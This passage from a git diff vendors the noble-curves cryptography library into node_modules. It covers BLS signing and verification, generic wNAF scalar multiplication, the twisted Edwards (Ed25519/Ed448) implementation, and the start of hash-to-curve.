= pk x G + function getPublicKey(privateKey: PrivKey): Uint8Array { + return G1.ProjectivePoint.fromPrivateKey(privateKey).toRawBytes(true); + } + + // Executes `hashToCurve` on the message and then multiplies the result by private key. + // S = pk x H(m) + function sign(message: Hex, privateKey: PrivKey, htfOpts?: htf.htfBasicOpts): Uint8Array; + function sign(message: G2, privateKey: PrivKey, htfOpts?: htf.htfBasicOpts): G2; + function sign(message: G2Hex, privateKey: PrivKey, htfOpts?: htf.htfBasicOpts): Uint8Array | G2 { + const msgPoint = normP2Hash(message, htfOpts); + msgPoint.assertValidity(); + const sigPoint = msgPoint.multiply(G1.normPrivateKeyToScalar(privateKey)); + if (message instanceof G2.ProjectivePoint) return sigPoint; + return Signature.toRawBytes(sigPoint); + } + + // Checks if pairing of public key & hash is equal to pairing of generator & signature. + // e(P, H(m)) == e(G, S) + function verify( + signature: G2Hex, + message: G2Hex, + publicKey: G1Hex, + htfOpts?: htf.htfBasicOpts + ): boolean { + const P = normP1(publicKey); + const Hm = normP2Hash(message, htfOpts); + const G = G1.ProjectivePoint.BASE; + const S = normP2(signature); + // Instead of doing 2 exponentiations, we use property of billinear maps + // and do one exp after multiplying 2 points. + const ePHm = pairing(P.negate(), Hm, false); + const eGS = pairing(G, S, false); + const exp = Fp12.finalExponentiate(Fp12.mul(eGS, ePHm)); + return Fp12.eql(exp, Fp12.ONE); + } + + // Adds a bunch of public key points together. + // pk1 + pk2 + pk3 = pkA + function aggregatePublicKeys(publicKeys: Hex[]): Uint8Array; + function aggregatePublicKeys(publicKeys: G1[]): G1; + function aggregatePublicKeys(publicKeys: G1Hex[]): Uint8Array | G1 { + if (!publicKeys.length) throw new Error('Expected non-empty array'); + const agg = publicKeys.map(normP1).reduce((sum, p) => sum.add(p), G1.ProjectivePoint.ZERO); + const aggAffine = agg; //.toAffine(); + if (publicKeys[0] instanceof G1.ProjectivePoint) { + aggAffine.assertValidity(); + return aggAffine; + } + // toRawBytes ensures point validity + return aggAffine.toRawBytes(true); + } + + // Adds a bunch of signature points together. + function aggregateSignatures(signatures: Hex[]): Uint8Array; + function aggregateSignatures(signatures: G2[]): G2; + function aggregateSignatures(signatures: G2Hex[]): Uint8Array | G2 { + if (!signatures.length) throw new Error('Expected non-empty array'); + const agg = signatures.map(normP2).reduce((sum, s) => sum.add(s), G2.ProjectivePoint.ZERO); + const aggAffine = agg; //.toAffine(); + if (signatures[0] instanceof G2.ProjectivePoint) { + aggAffine.assertValidity(); + return aggAffine; + } + return Signature.toRawBytes(aggAffine); + } + + // https://ethresear.ch/t/fast-verification-of-multiple-bls-signatures/5407 + // e(G, S) = e(G, SUM(n)(Si)) = MUL(n)(e(G, Si)) + function verifyBatch( + signature: G2Hex, + messages: G2Hex[], + publicKeys: G1Hex[], + htfOpts?: htf.htfBasicOpts + ): boolean { + // @ts-ignore + // console.log('verifyBatch', bytesToHex(signature as any), messages, publicKeys.map(bytesToHex)); + + if (!messages.length) throw new Error('Expected non-empty messages array'); + if (publicKeys.length !== messages.length) + throw new Error('Pubkey count should equal msg count'); + const sig = normP2(signature); + const nMessages = messages.map((i) => normP2Hash(i, htfOpts)); + const nPublicKeys = publicKeys.map(normP1); + try { + const paired = []; + for (const message of new Set(nMessages)) { + const groupPublicKey = nMessages.reduce( + (groupPublicKey, subMessage, i) => + subMessage === message ? groupPublicKey.add(nPublicKeys[i]) : groupPublicKey, + G1.ProjectivePoint.ZERO + ); + // const msg = message instanceof PointG2 ? message : await PointG2.hashToCurve(message); + // Possible to batch pairing for same msg with different groupPublicKey here + paired.push(pairing(groupPublicKey, message, false)); + } + paired.push(pairing(G1.ProjectivePoint.BASE.negate(), sig, false)); + const product = paired.reduce((a, b) => Fp12.mul(a, b), Fp12.ONE); + const exp = Fp12.finalExponentiate(product); + return Fp12.eql(exp, Fp12.ONE); + } catch { + return false; + } + } + + G1.ProjectivePoint.BASE._setWindowSize(4); + + return { + getPublicKey, + sign, + verify, + verifyBatch, + aggregatePublicKeys, + aggregateSignatures, + millerLoop, + pairing, + G1, + G2, + Signature, + fields: { + Fr, + Fp, + Fp2, + Fp6, + Fp12, + }, + params: { + x: CURVE.params.x, + r: CURVE.params.r, + G1b: CURVE.G1.b, + G2b: CURVE.G2.b, + }, + utils, + }; +} diff --git a/node_modules/@noble/curves/src/abstract/curve.ts b/node_modules/@noble/curves/src/abstract/curve.ts new file mode 100644 index 000000000000..2876377bed23 --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/curve.ts @@ -0,0 +1,203 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Abelian group utilities +import { IField, validateField, nLength } from './modular.js'; +import { validateObject } from './utils.js'; +const _0n = BigInt(0); +const _1n = BigInt(1); + +export type AffinePoint = { + x: T; + y: T; +} & { z?: never; t?: never }; + +export interface Group> { + double(): T; + negate(): T; + add(other: T): T; + subtract(other: T): T; + equals(other: T): boolean; + multiply(scalar: bigint): T; +} + +export type GroupConstructor = { + BASE: T; + ZERO: T; +}; +export type Mapper = (i: T[]) => T[]; + +// Elliptic curve multiplication of Point by scalar. Fragile. +// Scalars should always be less than curve order: this should be checked inside of a curve itself. +// Creates precomputation tables for fast multiplication: +// - private scalar is split by fixed size windows of W bits +// - every window point is collected from window's table & added to accumulator +// - since windows are different, same point inside tables won't be accessed more than once per calc +// - each multiplication is 'Math.ceil(CURVE_ORDER / 𝑊) + 1' point additions (fixed for any scalar) +// - +1 window is neccessary for wNAF +// - wNAF reduces table size: 2x less memory + 2x faster generation, but 10% slower multiplication +// TODO: Research returning 2d JS array of windows, instead of a single window. This would allow +// windows to be in different memory locations +export function wNAF>(c: GroupConstructor, bits: number) { + const constTimeNegate = (condition: boolean, item: T): T => { + const neg = item.negate(); + return condition ? neg : item; + }; + const opts = (W: number) => { + const windows = Math.ceil(bits / W) + 1; // +1, because + const windowSize = 2 ** (W - 1); // -1 because we skip zero + return { windows, windowSize }; + }; + return { + constTimeNegate, + // non-const time multiplication ladder + unsafeLadder(elm: T, n: bigint) { + let p = c.ZERO; + let d: T = elm; + while (n > _0n) { + if (n & _1n) p = p.add(d); + d = d.double(); + n >>= _1n; + } + return p; + }, + + /** + * Creates a wNAF precomputation window. Used for caching. + * Default window size is set by `utils.precompute()` and is equal to 8. + * Number of precomputed points depends on the curve size: + * 2^(𝑊−1) * (Math.ceil(𝑛 / 𝑊) + 1), where: + * - 𝑊 is the window size + * - 𝑛 is the bitlength of the curve order. + * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224. + * @returns precomputed point tables flattened to a single array + */ + precomputeWindow(elm: T, W: number): Group[] { + const { windows, windowSize } = opts(W); + const points: T[] = []; + let p: T = elm; + let base = p; + for (let window = 0; window < windows; window++) { + base = p; + points.push(base); + // =1, because we skip zero + for (let i = 1; i < windowSize; i++) { + base = base.add(p); + points.push(base); + } + p = base.double(); + } + return points; + }, + + /** + * Implements ec multiplication using precomputed tables and w-ary non-adjacent form. + * @param W window size + * @param precomputes precomputed tables + * @param n scalar (we don't check here, but should be less than curve order) + * @returns real and fake (for const-time) points + */ + wNAF(W: number, precomputes: T[], n: bigint): { p: T; f: T } { + // TODO: maybe check that scalar is less than group order? wNAF behavious is undefined otherwise + // But need to carefully remove other checks before wNAF. ORDER == bits here + const { windows, windowSize } = opts(W); + + let p = c.ZERO; + let f = c.BASE; + + const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc. + const maxNumber = 2 ** W; + const shiftBy = BigInt(W); + + for (let window = 0; window < windows; window++) { + const offset = window * windowSize; + // Extract W bits. + let wbits = Number(n & mask); + + // Shift number by W bits. + n >>= shiftBy; + + // If the bits are bigger than max size, we'll split those. + // +224 => 256 - 32 + if (wbits > windowSize) { + wbits -= maxNumber; + n += _1n; + } + + // This code was first written with assumption that 'f' and 'p' will never be infinity point: + // since each addition is multiplied by 2 ** W, it cannot cancel each other. However, + // there is negate now: it is possible that negated element from low value + // would be the same as high element, which will create carry into next window. + // It's not obvious how this can fail, but still worth investigating later. + + // Check if we're onto Zero point. + // Add random point inside current window to f. + const offset1 = offset; + const offset2 = offset + Math.abs(wbits) - 1; // -1 because we skip zero + const cond1 = window % 2 !== 0; + const cond2 = wbits < 0; + if (wbits === 0) { + // The most important part for const-time getPublicKey + f = f.add(constTimeNegate(cond1, precomputes[offset1])); + } else { + p = p.add(constTimeNegate(cond2, precomputes[offset2])); + } + } + // JIT-compiler should not eliminate f here, since it will later be used in normalizeZ() + // Even if the variable is still unused, there are some checks which will + // throw an exception, so compiler needs to prove they won't happen, which is hard. + // At this point there is a way to F be infinity-point even if p is not, + // which makes it less const-time: around 1 bigint multiply. + return { p, f }; + }, + + wNAFCached(P: T, precomputesMap: Map, n: bigint, transform: Mapper): { p: T; f: T } { + // @ts-ignore + const W: number = P._WINDOW_SIZE || 1; + // Calculate precomputes on a first run, reuse them after + let comp = precomputesMap.get(P); + if (!comp) { + comp = this.precomputeWindow(P, W) as T[]; + if (W !== 1) { + precomputesMap.set(P, transform(comp)); + } + } + return this.wNAF(W, comp, n); + }, + }; +} + +// Generic BasicCurve interface: works even for polynomial fields (BLS): P, n, h would be ok. +// Though generator can be different (Fp2 / Fp6 for BLS). +export type BasicCurve = { + Fp: IField; // Field over which we'll do calculations (Fp) + n: bigint; // Curve order, total count of valid points in the field + nBitLength?: number; // bit length of curve order + nByteLength?: number; // byte length of curve order + h: bigint; // cofactor. we can assign default=1, but users will just ignore it w/o validation + hEff?: bigint; // Number to multiply to clear cofactor + Gx: T; // base point X coordinate + Gy: T; // base point Y coordinate + allowInfinityPoint?: boolean; // bls12-381 requires it. ZERO point is valid, but invalid pubkey +}; + +export function validateBasic(curve: BasicCurve & T) { + validateField(curve.Fp); + validateObject( + curve, + { + n: 'bigint', + h: 'bigint', + Gx: 'field', + Gy: 'field', + }, + { + nBitLength: 'isSafeInteger', + nByteLength: 'isSafeInteger', + } + ); + // Set defaults + return Object.freeze({ + ...nLength(curve.n, curve.nBitLength), + ...curve, + ...{ p: curve.Fp.ORDER }, + } as const); +} diff --git a/node_modules/@noble/curves/src/abstract/edwards.ts b/node_modules/@noble/curves/src/abstract/edwards.ts new file mode 100644 index 000000000000..9124f66a94f9 --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/edwards.ts @@ -0,0 +1,513 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Twisted Edwards curve. The formula is: ax² + y² = 1 + dx²y² +import { mod } from './modular.js'; +import * as ut from './utils.js'; +import { ensureBytes, FHash, Hex } from './utils.js'; +import { Group, GroupConstructor, wNAF, BasicCurve, validateBasic, AffinePoint } from './curve.js'; + +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _8n = BigInt(8); + +// Edwards curves must declare params a & d. +export type CurveType = BasicCurve & { + a: bigint; // curve param a + d: bigint; // curve param d + hash: FHash; // Hashing + randomBytes: (bytesLength?: number) => Uint8Array; // CSPRNG + adjustScalarBytes?: (bytes: Uint8Array) => Uint8Array; // clears bits to get valid field elemtn + domain?: (data: Uint8Array, ctx: Uint8Array, phflag: boolean) => Uint8Array; // Used for hashing + uvRatio?: (u: bigint, v: bigint) => { isValid: boolean; value: bigint }; // Ratio √(u/v) + prehash?: FHash; // RFC 8032 pre-hashing of messages to sign() / verify() + mapToCurve?: (scalar: bigint[]) => AffinePoint; // for hash-to-curve standard +}; + +// verification rule is either zip215 or rfc8032 / nist186-5. Consult fromHex: +const VERIFY_DEFAULT = { zip215: true }; + +function validateOpts(curve: CurveType) { + const opts = validateBasic(curve); + ut.validateObject( + curve, + { + hash: 'function', + a: 'bigint', + d: 'bigint', + randomBytes: 'function', + }, + { + adjustScalarBytes: 'function', + domain: 'function', + uvRatio: 'function', + mapToCurve: 'function', + } + ); + // Set defaults + return Object.freeze({ ...opts } as const); +} + +// Instance of Extended Point with coordinates in X, Y, Z, T +export interface ExtPointType extends Group { + readonly ex: bigint; + readonly ey: bigint; + readonly ez: bigint; + readonly et: bigint; + get x(): bigint; + get y(): bigint; + assertValidity(): void; + multiply(scalar: bigint): ExtPointType; + multiplyUnsafe(scalar: bigint): ExtPointType; + isSmallOrder(): boolean; + isTorsionFree(): boolean; + clearCofactor(): ExtPointType; + toAffine(iz?: bigint): AffinePoint; + toRawBytes(isCompressed?: boolean): Uint8Array; + toHex(isCompressed?: boolean): string; +} +// Static methods of Extended Point with coordinates in X, Y, Z, T +export interface ExtPointConstructor extends GroupConstructor { + new (x: bigint, y: bigint, z: bigint, t: bigint): ExtPointType; + fromAffine(p: AffinePoint): ExtPointType; + fromHex(hex: Hex): ExtPointType; + fromPrivateKey(privateKey: Hex): ExtPointType; +} + +export type CurveFn = { + CURVE: ReturnType; + getPublicKey: (privateKey: Hex) => Uint8Array; + sign: (message: Hex, privateKey: Hex, options?: { context?: Hex }) => Uint8Array; + verify: ( + sig: Hex, + message: Hex, + publicKey: Hex, + options?: { context?: Hex; zip215: boolean } + ) => boolean; + ExtendedPoint: ExtPointConstructor; + utils: { + randomPrivateKey: () => Uint8Array; + getExtendedPublicKey: (key: Hex) => { + head: Uint8Array; + prefix: Uint8Array; + scalar: bigint; + point: ExtPointType; + pointBytes: Uint8Array; + }; + }; +}; + +// It is not generic twisted curve for now, but ed25519/ed448 generic implementation +export function twistedEdwards(curveDef: CurveType): CurveFn { + const CURVE = validateOpts(curveDef) as ReturnType; + const { + Fp, + n: CURVE_ORDER, + prehash: prehash, + hash: cHash, + randomBytes, + nByteLength, + h: cofactor, + } = CURVE; + const MASK = _2n << (BigInt(nByteLength * 8) - _1n); + const modP = Fp.create; // Function overrides + + // sqrt(u/v) + const uvRatio = + CURVE.uvRatio || + ((u: bigint, v: bigint) => { + try { + return { isValid: true, value: Fp.sqrt(u * Fp.inv(v)) }; + } catch (e) { + return { isValid: false, value: _0n }; + } + }); + const adjustScalarBytes = CURVE.adjustScalarBytes || ((bytes: Uint8Array) => bytes); // NOOP + const domain = + CURVE.domain || + ((data: Uint8Array, ctx: Uint8Array, phflag: boolean) => { + if (ctx.length || phflag) throw new Error('Contexts/pre-hash are not supported'); + return data; + }); // NOOP + const inBig = (n: bigint) => typeof n === 'bigint' && _0n < n; // n in [1..] + const inRange = (n: bigint, max: bigint) => inBig(n) && inBig(max) && n < max; // n in [1..max-1] + const in0MaskRange = (n: bigint) => n === _0n || inRange(n, MASK); // n in [0..MASK-1] + function assertInRange(n: bigint, max: bigint) { + // n in [1..max-1] + if (inRange(n, max)) return n; + throw new Error(`Expected valid scalar < ${max}, got ${typeof n} ${n}`); + } + function assertGE0(n: bigint) { + // n in [0..CURVE_ORDER-1] + return n === _0n ? n : assertInRange(n, CURVE_ORDER); // GE = prime subgroup, not full group + } + const pointPrecomputes = new Map(); + function isPoint(other: unknown) { + if (!(other instanceof Point)) throw new Error('ExtendedPoint expected'); + } + // Extended Point works in extended coordinates: (x, y, z, t) ∋ (x=x/z, y=y/z, t=xy). + // https://en.wikipedia.org/wiki/Twisted_Edwards_curve#Extended_coordinates + class Point implements ExtPointType { + static readonly BASE = new Point(CURVE.Gx, CURVE.Gy, _1n, modP(CURVE.Gx * CURVE.Gy)); + static readonly ZERO = new Point(_0n, _1n, _1n, _0n); // 0, 1, 1, 0 + + constructor( + readonly ex: bigint, + readonly ey: bigint, + readonly ez: bigint, + readonly et: bigint + ) { + if (!in0MaskRange(ex)) throw new Error('x required'); + if (!in0MaskRange(ey)) throw new Error('y required'); + if (!in0MaskRange(ez)) throw new Error('z required'); + if (!in0MaskRange(et)) throw new Error('t required'); + } + + get x(): bigint { + return this.toAffine().x; + } + get y(): bigint { + return this.toAffine().y; + } + + static fromAffine(p: AffinePoint): Point { + if (p instanceof Point) throw new Error('extended point not allowed'); + const { x, y } = p || {}; + if (!in0MaskRange(x) || !in0MaskRange(y)) throw new Error('invalid affine point'); + return new Point(x, y, _1n, modP(x * y)); + } + static normalizeZ(points: Point[]): Point[] { + const toInv = Fp.invertBatch(points.map((p) => p.ez)); + return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + } + + // We calculate precomputes for elliptic curve point multiplication + // using windowed method. This specifies window size and + // stores precomputed values. Usually only base point would be precomputed. + _WINDOW_SIZE?: number; + + // "Private method", don't use it directly + _setWindowSize(windowSize: number) { + this._WINDOW_SIZE = windowSize; + pointPrecomputes.delete(this); + } + // Not required for fromHex(), which always creates valid points. + // Could be useful for fromAffine(). + assertValidity(): void { + const { a, d } = CURVE; + if (this.is0()) throw new Error('bad point: ZERO'); // TODO: optimize, with vars below? + // Equation in affine coordinates: ax² + y² = 1 + dx²y² + // Equation in projective coordinates (X/Z, Y/Z, Z): (aX² + Y²)Z² = Z⁴ + dX²Y² + const { ex: X, ey: Y, ez: Z, et: T } = this; + const X2 = modP(X * X); // X² + const Y2 = modP(Y * Y); // Y² + const Z2 = modP(Z * Z); // Z² + const Z4 = modP(Z2 * Z2); // Z⁴ + const aX2 = modP(X2 * a); // aX² + const left = modP(Z2 * modP(aX2 + Y2)); // (aX² + Y²)Z² + const right = modP(Z4 + modP(d * modP(X2 * Y2))); // Z⁴ + dX²Y² + if (left !== right) throw new Error('bad point: equation left != right (1)'); + // In Extended coordinates we also have T, which is x*y=T/Z: check X*Y == Z*T + const XY = modP(X * Y); + const ZT = modP(Z * T); + if (XY !== ZT) throw new Error('bad point: equation left != right (2)'); + } + + // Compare one point to another. + equals(other: Point): boolean { + isPoint(other); + const { ex: X1, ey: Y1, ez: Z1 } = this; + const { ex: X2, ey: Y2, ez: Z2 } = other; + const X1Z2 = modP(X1 * Z2); + const X2Z1 = modP(X2 * Z1); + const Y1Z2 = modP(Y1 * Z2); + const Y2Z1 = modP(Y2 * Z1); + return X1Z2 === X2Z1 && Y1Z2 === Y2Z1; + } + + protected is0(): boolean { + return this.equals(Point.ZERO); + } + + negate(): Point { + // Flips point sign to a negative one (-x, y in affine coords) + return new Point(modP(-this.ex), this.ey, this.ez, modP(-this.et)); + } + + // Fast algo for doubling Extended Point. + // https://hyperelliptic.org/EFD/g1p/auto-twisted-extended.html#doubling-dbl-2008-hwcd + // Cost: 4M + 4S + 1*a + 6add + 1*2. + double(): Point { + const { a } = CURVE; + const { ex: X1, ey: Y1, ez: Z1 } = this; + const A = modP(X1 * X1); // A = X12 + const B = modP(Y1 * Y1); // B = Y12 + const C = modP(_2n * modP(Z1 * Z1)); // C = 2*Z12 + const D = modP(a * A); // D = a*A + const x1y1 = X1 + Y1; + const E = modP(modP(x1y1 * x1y1) - A - B); // E = (X1+Y1)2-A-B + const G = D + B; // G = D+B + const F = G - C; // F = G-C + const H = D - B; // H = D-B + const X3 = modP(E * F); // X3 = E*F + const Y3 = modP(G * H); // Y3 = G*H + const T3 = modP(E * H); // T3 = E*H + const Z3 = modP(F * G); // Z3 = F*G + return new Point(X3, Y3, Z3, T3); + } + + // Fast algo for adding 2 Extended Points. + // https://hyperelliptic.org/EFD/g1p/auto-twisted-extended.html#addition-add-2008-hwcd + // Cost: 9M + 1*a + 1*d + 7add. + add(other: Point) { + isPoint(other); + const { a, d } = CURVE; + const { ex: X1, ey: Y1, ez: Z1, et: T1 } = this; + const { ex: X2, ey: Y2, ez: Z2, et: T2 } = other; + // Faster algo for adding 2 Extended Points when curve's a=-1. + // http://hyperelliptic.org/EFD/g1p/auto-twisted-extended-1.html#addition-add-2008-hwcd-4 + // Cost: 8M + 8add + 2*2. + // Note: It does not check whether the `other` point is valid. + if (a === BigInt(-1)) { + const A = modP((Y1 - X1) * (Y2 + X2)); + const B = modP((Y1 + X1) * (Y2 - X2)); + const F = modP(B - A); + if (F === _0n) return this.double(); // Same point. Tests say it doesn't affect timing + const C = modP(Z1 * _2n * T2); + const D = modP(T1 * _2n * Z2); + const E = D + C; + const G = B + A; + const H = D - C; + const X3 = modP(E * F); + const Y3 = modP(G * H); + const T3 = modP(E * H); + const Z3 = modP(F * G); + return new Point(X3, Y3, Z3, T3); + } + const A = modP(X1 * X2); // A = X1*X2 + const B = modP(Y1 * Y2); // B = Y1*Y2 + const C = modP(T1 * d * T2); // C = T1*d*T2 + const D = modP(Z1 * Z2); // D = Z1*Z2 + const E = modP((X1 + Y1) * (X2 + Y2) - A - B); // E = (X1+Y1)*(X2+Y2)-A-B + const F = D - C; // F = D-C + const G = D + C; // G = D+C + const H = modP(B - a * A); // H = B-a*A + const X3 = modP(E * F); // X3 = E*F + const Y3 = modP(G * H); // Y3 = G*H + const T3 = modP(E * H); // T3 = E*H + const Z3 = modP(F * G); // Z3 = F*G + + return new Point(X3, Y3, Z3, T3); + } + + subtract(other: Point): Point { + return this.add(other.negate()); + } + + private wNAF(n: bigint): { p: Point; f: Point } { + return wnaf.wNAFCached(this, pointPrecomputes, n, Point.normalizeZ); + } + + // Constant-time multiplication. + multiply(scalar: bigint): Point { + const { p, f } = this.wNAF(assertInRange(scalar, CURVE_ORDER)); + return Point.normalizeZ([p, f])[0]; + } + + // Non-constant-time multiplication. Uses double-and-add algorithm. + // It's faster, but should only be used when you don't care about + // an exposed private key e.g. sig verification. + // Does NOT allow scalars higher than CURVE.n. + multiplyUnsafe(scalar: bigint): Point { + let n = assertGE0(scalar); // 0 <= scalar < CURVE.n + if (n === _0n) return I; + if (this.equals(I) || n === _1n) return this; + if (this.equals(G)) return this.wNAF(n).p; + return wnaf.unsafeLadder(this, n); + } + + // Checks if point is of small order. + // If you add something to small order point, you will have "dirty" + // point with torsion component. + // Multiplies point by cofactor and checks if the result is 0. + isSmallOrder(): boolean { + return this.multiplyUnsafe(cofactor).is0(); + } + + // Multiplies point by curve order and checks if the result is 0. + // Returns `false` is the point is dirty. + isTorsionFree(): boolean { + return wnaf.unsafeLadder(this, CURVE_ORDER).is0(); + } + + // Converts Extended point to default (x, y) coordinates. + // Can accept precomputed Z^-1 - for example, from invertBatch. + toAffine(iz?: bigint): AffinePoint { + const { ex: x, ey: y, ez: z } = this; + const is0 = this.is0(); + if (iz == null) iz = is0 ? _8n : (Fp.inv(z) as bigint); // 8 was chosen arbitrarily + const ax = modP(x * iz); + const ay = modP(y * iz); + const zz = modP(z * iz); + if (is0) return { x: _0n, y: _1n }; + if (zz !== _1n) throw new Error('invZ was invalid'); + return { x: ax, y: ay }; + } + + clearCofactor(): Point { + const { h: cofactor } = CURVE; + if (cofactor === _1n) return this; + return this.multiplyUnsafe(cofactor); + } + + // Converts hash string or Uint8Array to Point. + // Uses algo from RFC8032 5.1.3. + static fromHex(hex: Hex, zip215 = false): Point { + const { d, a } = CURVE; + const len = Fp.BYTES; + hex = ensureBytes('pointHex', hex, len); // copy hex to a new array + const normed = hex.slice(); // copy again, we'll manipulate it + const lastByte = hex[len - 1]; // select last byte + normed[len - 1] = lastByte & ~0x80; // clear last bit + const y = ut.bytesToNumberLE(normed); + if (y === _0n) { + // y=0 is allowed + } else { + // RFC8032 prohibits >= p, but ZIP215 doesn't + if (zip215) assertInRange(y, MASK); // zip215=true [1..P-1] (2^255-19-1 for ed25519) + else assertInRange(y, Fp.ORDER); // zip215=false [1..MASK-1] (2^256-1 for ed25519) + } + + // Ed25519: x² = (y²-1)/(dy²+1) mod p. Ed448: x² = (y²-1)/(dy²-1) mod p. Generic case: + // ax²+y²=1+dx²y² => y²-1=dx²y²-ax² => y²-1=x²(dy²-a) => x²=(y²-1)/(dy²-a) + const y2 = modP(y * y); // denominator is always non-0 mod p. + const u = modP(y2 - _1n); // u = y² - 1 + const v = modP(d * y2 - a); // v = d y² + 1. + let { isValid, value: x } = uvRatio(u, v); // √(u/v) + if (!isValid) throw new Error('Point.fromHex: invalid y coordinate'); + const isXOdd = (x & _1n) === _1n; // There are 2 square roots. Use x_0 bit to select proper + const isLastByteOdd = (lastByte & 0x80) !== 0; // x_0, last bit + if (!zip215 && x === _0n && isLastByteOdd) + // if x=0 and x_0 = 1, fail + throw new Error('Point.fromHex: x=0 and x_0=1'); + if (isLastByteOdd !== isXOdd) x = modP(-x); // if x_0 != x mod 2, set x = p-x + return Point.fromAffine({ x, y }); + } + static fromPrivateKey(privKey: Hex) { + return getExtendedPublicKey(privKey).point; + } + toRawBytes(): Uint8Array { + const { x, y } = this.toAffine(); + const bytes = ut.numberToBytesLE(y, Fp.BYTES); // each y has 2 x values (x, -y) + bytes[bytes.length - 1] |= x & _1n ? 0x80 : 0; // when compressing, it's enough to store y + return bytes; // and use the last byte to encode sign of x + } + toHex(): string { + return ut.bytesToHex(this.toRawBytes()); // Same as toRawBytes, but returns string. + } + } + const { BASE: G, ZERO: I } = Point; + const wnaf = wNAF(Point, nByteLength * 8); + + function modN(a: bigint) { + return mod(a, CURVE_ORDER); + } + // Little-endian SHA512 with modulo n + function modN_LE(hash: Uint8Array): bigint { + return modN(ut.bytesToNumberLE(hash)); + } + + /** Convenience method that creates public key and other stuff. RFC8032 5.1.5 */ + function getExtendedPublicKey(key: Hex) { + const len = nByteLength; + key = ensureBytes('private key', key, len); + // Hash private key with curve's hash function to produce uniformingly random input + // Check byte lengths: ensure(64, h(ensure(32, key))) + const hashed = ensureBytes('hashed private key', cHash(key), 2 * len); + const head = adjustScalarBytes(hashed.slice(0, len)); // clear first half bits, produce FE + const prefix = hashed.slice(len, 2 * len); // second half is called key prefix (5.1.6) + const scalar = modN_LE(head); // The actual private scalar + const point = G.multiply(scalar); // Point on Edwards curve aka public key + const pointBytes = point.toRawBytes(); // Uint8Array representation + return { head, prefix, scalar, point, pointBytes }; + } + + // Calculates EdDSA pub key. RFC8032 5.1.5. Privkey is hashed. Use first half with 3 bits cleared + function getPublicKey(privKey: Hex): Uint8Array { + return getExtendedPublicKey(privKey).pointBytes; + } + + // int('LE', SHA512(dom2(F, C) || msgs)) mod N + function hashDomainToScalar(context: Hex = new Uint8Array(), ...msgs: Uint8Array[]) { + const msg = ut.concatBytes(...msgs); + return modN_LE(cHash(domain(msg, ensureBytes('context', context), !!prehash))); + } + + /** Signs message with privateKey. RFC8032 5.1.6 */ + function sign(msg: Hex, privKey: Hex, options: { context?: Hex } = {}): Uint8Array { + msg = ensureBytes('message', msg); + if (prehash) msg = prehash(msg); // for ed25519ph etc. + const { prefix, scalar, pointBytes } = getExtendedPublicKey(privKey); + const r = hashDomainToScalar(options.context, prefix, msg); // r = dom2(F, C) || prefix || PH(M) + const R = G.multiply(r).toRawBytes(); // R = rG + const k = hashDomainToScalar(options.context, R, pointBytes, msg); // R || A || PH(M) + const s = modN(r + k * scalar); // S = (r + k * s) mod L + assertGE0(s); // 0 <= s < l + const res = ut.concatBytes(R, ut.numberToBytesLE(s, Fp.BYTES)); + return ensureBytes('result', res, nByteLength * 2); // 64-byte signature + } + + const verifyOpts: { context?: Hex; zip215?: boolean } = VERIFY_DEFAULT; + function verify(sig: Hex, msg: Hex, publicKey: Hex, options = verifyOpts): boolean { + const { context, zip215 } = options; + const len = Fp.BYTES; // Verifies EdDSA signature against message and public key. RFC8032 5.1.7. + sig = ensureBytes('signature', sig, 2 * len); // An extended group equation is checked. + msg = ensureBytes('message', msg); + if (prehash) msg = prehash(msg); // for ed25519ph, etc + + const s = ut.bytesToNumberLE(sig.slice(len, 2 * len)); + // zip215: true is good for consensus-critical apps and allows points < 2^256 + // zip215: false follows RFC8032 / NIST186-5 and restricts points to CURVE.p + let A, R, SB; + try { + A = Point.fromHex(publicKey, zip215); + R = Point.fromHex(sig.slice(0, len), zip215); + SB = G.multiplyUnsafe(s); // 0 <= s < l is done inside + } catch (error) { + return false; + } + if (!zip215 && A.isSmallOrder()) return false; + + const k = hashDomainToScalar(context, R.toRawBytes(), A.toRawBytes(), msg); + const RkA = R.add(A.multiplyUnsafe(k)); + // [8][S]B = [8]R + [8][k]A' + return RkA.subtract(SB).clearCofactor().equals(Point.ZERO); + } + + G._setWindowSize(8); // Enable precomputes. Slows down first publicKey computation by 20ms. + + const utils = { + getExtendedPublicKey, + // ed25519 private keys are uniform 32b. No need to check for modulo bias, like in secp256k1. + randomPrivateKey: (): Uint8Array => randomBytes(Fp.BYTES), + + /** + * We're doing scalar multiplication (used in getPublicKey etc) with precomputed BASE_POINT + * values. This slows down first getPublicKey() by milliseconds (see Speed section), + * but allows to speed-up subsequent getPublicKey() calls up to 20x. + * @param windowSize 2, 4, 8, 16 + */ + precompute(windowSize = 8, point = Point.BASE): typeof Point.BASE { + point._setWindowSize(windowSize); + point.multiply(BigInt(3)); + return point; + }, + }; + + return { + CURVE, + getPublicKey, + sign, + verify, + ExtendedPoint: Point, + utils, + }; +} diff --git a/node_modules/@noble/curves/src/abstract/hash-to-curve.ts b/node_modules/@noble/curves/src/abstract/hash-to-curve.ts new file mode 100644 index 000000000000..64d7db4a2d33 --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/hash-to-curve.ts @@ -0,0 +1,229 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import type { Group, GroupConstructor, AffinePoint } from './curve.js'; +import { mod, IField } from './modular.js'; +import { bytesToNumberBE, CHash, concatBytes, utf8ToBytes, validateObject } from './utils.js'; + +/** + * * `DST` is a domain separation tag, defined in section 2.2.5 + * * `p` characteristic of F, where F is a finite field of characteristic p and order q = p^m + * * `m` is extension degree (1 for prime fields) + * * `k` is the target security target in bits (e.g. 128), from section 5.1 + * * `expand` is `xmd` (SHA2, SHA3, BLAKE) or `xof` (SHAKE, BLAKE-XOF) + * * `hash` conforming to `utils.CHash` interface, with `outputLen` / `blockLen` props + */ +type UnicodeOrBytes = string | Uint8Array; +export type Opts = { + DST: UnicodeOrBytes; + p: bigint; + m: number; + k: number; + expand: 'xmd' | 'xof'; + hash: CHash; +}; + +function validateDST(dst: UnicodeOrBytes): Uint8Array 